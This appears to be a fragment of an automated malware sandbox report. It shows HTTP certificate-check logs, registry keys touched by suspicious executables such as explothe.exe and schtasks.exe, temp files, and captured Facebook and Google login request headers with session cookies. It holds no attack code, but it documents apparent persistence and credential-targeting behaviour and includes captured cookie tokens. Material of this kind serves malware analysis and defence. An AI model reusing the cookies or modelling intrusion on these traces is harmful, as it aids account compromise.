Vary: Accept-Encoding Age: 69 with response body ==>30822C4930822B31020101300D06092A864886F70D01010B05003046310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDXjiTYwV9zDBJXr%2BzP1lEY HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 30 Oct 2023 11:19:20 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2218 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCXtQEEuMx0gAkkEcVQ5Vat HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 30 Oct 2023 11:41:26 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 907 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDiqPgG5QpuyCQrl9PBuZos%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 30 Oct 2023 11:41:01 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 943 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: o.ss2.us" Response ==> HTTP/1.1 200 OK Content-Type: application/ocsp-response Content-Length: 2065 Connection: keep-alive Server: Sucuri/Cloudproxy Date: Mon 30 Oct 2023 06:37:43 GMT X-Sucuri-ID: 11024 Content-Transfer-Encoding: Binary Cache-Control: public no-transform must-revalidate Last-Modified: Sun 29 Oct 2023 19:54:44 GMT Expires: Mon 30 Oct 2023 19:54:44 GMT ETag: "1549b83b8e11f781822ef79c7a44e202c11d093d" P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Sucuri-Cache: HIT X-Cache: Hit from cloudfront Via: 1.1 a46f7dcdfa7630ab92712a32ece3853c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: SFO20-C1 X-Amz-Cf-Id: 1NXigqK-1Erj9mpoKBoxv1ri86MsDpTrHQDqqguza3L0ipvxTfcRQg== Age: 19164 with response body ==>....... "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.rootg2.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: application/ocsp-response Content-Length: 1548 Connection: keep-alive Date: Mon 30 Oct 2023 11:23:37 GMT Last-Modified: Mon 30 Oct 2023 11:23:37 GMT ETag: 505656ef8da71665eddf951c12dcae09de00f6ee Expires: Mon 06 Nov 2023 11:23:37 GMT Cache-Control: max-age=302400 public no-transform must-revalidate Server: with response body ==>....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.r2m02.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: application/ocsp-response Content-Length: 471 Connection: keep-alive Cache-Control: max-age=7200 Date: Mon 30 Oct 2023 11:04:31 GMT Server: ECAcc (sac/257E) X-Cache: Hit from cloudfront Via: 1.1 864fed36ac196777ef6a560e242c1b00.cloudfront.net (CloudFront) X-Amz-Cf-Pop: SFO53-P3 X-Amz-Cf-Id: M4X6R1o80gOxm4nz7HhR2xmBLspBHPezJ6oiZBNf99jILUHryWlOFw== Age: 3165 with response body ==>....... "GET /rootca1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.rootca1.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: application/pkix-crl Content-Length: 651 Connection: keep-alive Date: Mon 28 Aug 2023 22:59:01 GMT Last-Modified: Thu 25 May 2023 00:16:34 GMT ETag: "9058c82ab542b2701eb78e0a4e482593" x-amz-server-side-encryption: AES256 Cache-Control: public Expires: Mon 20 May 2024 20:13:06 GMT x-amz-version-id: jp0NT7VkGOm4vGsuA2lczqulWP4uBCNG Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 1b76276e9fd9c7bd637ed463cc0a5976.cloudfront.net (CloudFront) X-Amz-Cf-Pop: SFO20-C1 X-Amz-Cf-Id: 4BuTRGSll1SUcKky1JFPTjeupJ7xkcX_i7hakA2OG8aO1Y4TgR2eqA== Age: 5403496 with response body ==>....... "GET /r2m02.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.r2m02.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: application/pkix-crl Content-Length: 438839 Connection: keep-alive Accept-Ranges: bytes Last-Modified: Sun 29 Oct 2023 16:15:15 GMT Server: ECAcc (sac/2564) Cache-Control: max-age=7200 Cache-Control: public Date: Mon 30 Oct 2023 10:47:37 GMT Expires: Mon 30 Oct 2023 12:47:37 GMT ETag: "653e8513-6b237" X-Cache: Hit from cloudfront Via: 1.1 aae94205fef749bc8580cf140c626670.cloudfront.net (CloudFront) X-Amz-Cf-Pop: SFO5-C1 X-Amz-Cf-Id: Tjk6mFUsgaIqxixeBmhmfk4bwmEI6qOF9oiBsH1_-YsBq1DkazF4gQ== Age: 4179 with response body ==>....... "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.rootca1.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: application/ocsp-response Content-Length: 1426 Connection: keep-alive Date: Mon 30 Oct 2023 11:54:55 GMT Last-Modified: Mon 30 Oct 2023 11:54:55 GMT ETag: 87d7e533c1782ba0c40ee5eea480bd32b44dc33e Expires: Mon 06 Nov 2023 11:54:55 GMT Cache-Control: max-age=302400 public no-transform must-revalidate Server: with response body ==>....... "GET /rootg2.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.rootg2.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: application/pkix-crl Content-Length: 713 Connection: keep-alive Date: Mon 28 Aug 2023 22:58:20 GMT Last-Modified: Thu 25 May 2023 00:16:41 GMT ETag: "17529b3e2cbd518730e68190e9f121a9" x-amz-server-side-encryption: AES256 Cache-Control: public Expires: Mon 20 May 2024 20:17:36 GMT x-amz-version-id: mXKxEiey0eSLSed3QQI7ZgcwL3M2RGWn Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 1f2a2b4522308aae8508a9096d87b334.cloudfront.net (CloudFront) X-Amz-Cf-Pop: SFO20-C1 X-Amz-Cf-Id: e10z2e5bz_INAb8tGXEE_sq9AJJLi3ydEqvbENL8qLflm3a15ILAKw== Age: 5403539 with response body ==>....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGAy%2Fdiu84vFCW7%2FIayIdNI%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 30 Oct 2023 11:56:15 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 63 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32.......5c:T108f,"5Sq0QJ6.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "5Sq0QJ6.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "5Sq0QJ6.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "5Sq0QJ6.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") "5Sq0QJ6.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\SHELLFOLDER") "5Sq0QJ6.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "5Sq0QJ6.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "explothe.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}\LOCALSERVER32") "explothe.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "explothe.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "explothe.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "explothe.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "explothe.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "explothe.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "explothe.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "explothe.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "explothe.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "explothe.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "explothe.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "explothe.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "explothe.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "explothe.exe" touched "Windows Search Service Media Center Namespace Extension Handler" (Path: "HKCU\CLSID\{98D99750-0B8A-4C59-9151-589053683D73}\SHELLFOLDER") "explothe.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "explothe.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "explothe.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "explothe.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "explothe.exe" touched "Sticky Notes Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{F3F5824C-AD58-4728-AF59-A1EBE3392799}\SHELLFOLDER") "explothe.exe" touched "NetworkListManager" (Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\TREATAS") "explothe.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\TREATAS") "explothe.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}\TREATAS") "schtasks.exe" touched "TaskScheduler class" (Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}") "cmd.exe" touched "Application Registration" (Path: "HKCU\CLSID\{591209C7-767B-42B2-9FBA-44EE4615F2C7}\TREATAS")5d:T71d,"TarD9C9.tmp" has type "data" - Location: [%TEMP%\TarD9C9.tmp] "CabFA11.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression" - Location: [%TEMP%\CabFA11.tmp] "~DF5EE85DFF790F3E73.TMP" has type "data" "~DFB04EE4824F750E2B.TMP" has type "data" "~DFCD541B03AF7D1433.TMP" has type "data" - Location: [%TEMP%\~DFCD541B03AF7D1433.TMP] "~DFFACB306C6C077521.TMP" has type "data" - Location: [%TEMP%\~DFFACB306C6C077521.TMP] "~DFC83B94B44CDFA452.TMP" has type "data" - Location: [%TEMP%\~DFC83B94B44CDFA452.TMP] "~DF6A5B643E0C2CE676.TMP" has type "data" "~DF6199235B05565D07.TMP" has type "data" "~DF0B674B08DFA7704A.TMP" has type "data" - Location: [%TEMP%\~DF0B674B08DFA7704A.TMP] "~DFF31EDC371F728080.TMP" has type "data" "~DF89332CF19C305B84.TMP" has type "data" - Location: [%TEMP%\~DF89332CF19C305B84.TMP] "~DFD7B4B24B6C4B5518.TMP" has type "data" "~DFCB4CEBB2460D1B12.TMP" has type "data" "~DF0D8591813B3B8D48.TMP" has type "data" "~DFBDA1BAE678B5A588.TMP" has type "data" - Location: [%TEMP%\~DFBDA1BAE678B5A588.TMP] "~DFFB6BF4D3A7337132.TMP" has type "data" "~DF3402A98088CBF005.TMP" has type "data" - Location: [%TEMP%\~DF3402A98088CBF005.TMP] "~DFB28E6504F2A117BE.TMP" has type "data" "TarFB2E.tmp" has type "data" - Location: [%TEMP%\TarFB2E.tmp] "TarFA12.tmp" has type "data" - Location: [%TEMP%\TarFA12.tmp] "CabFB2D.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression" - Location: [%TEMP%\CabFB2D.tmp] "CabD9C8.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression" - Location: [%TEMP%\CabD9C8.tmp]5e:T681,"schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "")5f:T3500,Found requests in header "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /security/hsts-pixel.gif?c=3.2.5 HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: facebook.comDNT: 1Connection: Keep-AliveCookie: fr=0ozbQazH9UTqqwt9V..BlP5nT.bq.AAA.0.0.BlP5nT.AWWyoQaHmpE; sb=05k_ZVYfEDgJQuQlVIHl_mRq"; in File: "SSL") Found requests in header "GET /security/hsts-pixel.gif?c=2.5 HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Connection: Keep-AliveHost: fbcdn.net"; in File: "SSL") Found requests in header "GET /security/hsts-pixel.gif?c=5 HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: fbsbx.comConnection: Keep-Alive"; in File: "SSL") Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:F7Z86RihK1U-nM29wKk98RxLfw2NKw:gtqvxtf5bC9u9SzEConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyx15DQEHxUOtqzYRtgoMJK_HFPj-0g3UFrq_3NMqkTw0V-DOaxKG3GD4Y8pBrw5ZPOvnp9SIg HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:OXDauIKIjMFl47jxNAzVvO_sqByShw:WkbzdUSGw05nF0U0Connection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyxfFWD4MIwCH5s40VgzuhqPfFH3ai_VcSCPPGgQV8dCZHl7wldSA85t-mZfZJ4ZM2AY6vaOQQ&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1309650573%3A1698666964800301&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:OXDauIKIjMFl47jxNAzVvO_sqByShw:WkbzdUSGw05nF0U0Connection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:mT70C0TOTiE2WP_hKWAPmwSj1wHFSQ:F8Gm7_0hH_RieXEJ"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:YbEkJA5X655UJOp8YNpJS5ameXgSYw:n-q8Dh6I8056G6tN"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyw8sYKyuOM3M2Qx_ehw5oGel74oIZobnvlP48nThjq0z6Ght4Y55PlEfF7OzCmI_SX-mEzBTQ HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:YbEkJA5X655UJOp8YNpJS5ameXgSYw:n-q8Dh6I8056G6tNConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyyvGSZo3S9nQXBEodGilsFjwAOKv2mArgRf9FqdfIe-yDqP6tPi7D53LyiUvJ9qb3ZwWYnUUA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-703668283%3A1698666974891815&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:YbEkJA5X655UJOp8YNpJS5ameXgSYw:n-q8Dh6I8056G6tN"; in File: "SSL") Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:YbEkJA5X655UJOp8YNpJS5ameXgSYw:n-q8Dh6I8056G6tN"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:o6AHqLI7bdx-URYM8801_9t53E_Inw:tOAQrO8b2GkG5XbS"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyxR2dfYnX6myFbvZtyxv9ZZK2xrFE5u9vmL7DXdQZoswDmoursM2DoaVZh177LNh7hgBb_vvA HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:ZoQgboqgFx5qb7-LB8DqvXD04TF1yw:rNuIoe_3Ldmfgc-nConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyyJJlEraLpNjQcnxeA9l8DtqHEabLzSbXcZ1ml6ekNwVVHKaN0icP27OhJAU3S2NEZW9_E9Bw&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S2047096598%3A1698666988840256&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:ZoQgboqgFx5qb7-LB8DqvXD04TF1yw:rNuIoe_3Ldmfgc-n"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:ZoQgboqgFx5qb7-LB8DqvXD04TF1yw:rNuIoe_3Ldmfgc-n"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/data/batchexecute?rpcids=UEkKwb&source-path=%2Fv3%2Fsignin%2Fidentifier&f.sid=6925698712911696098&bl=boq_identityfrontendauthuiserver_20231022.06_p0&hl=en-US&_reqid=64123&rt=c HTTP/1.1Accept: */*X-Same-Domain: 1x-goog-ext-278367001-jspb: ["GlifWebSignIn"]x-goog-ext-391502476-jspb: ["S-703668283:1698666974891815",null,null,"AVQVeyyvGSZo3S9nQXBEodGilsFjwAOKv2mArgRf9FqdfIe-yDqP6tPi7D53LyiUvJ9qb3ZwWYnUUA"]Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 165DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:ZoQgboqgFx5qb7-LB8DqvXD04TF1yw:rNuIoe_3Ldmfgc-n; OTZ=7273007_52_52_123900_48_436380"; in File: "SSL") Found 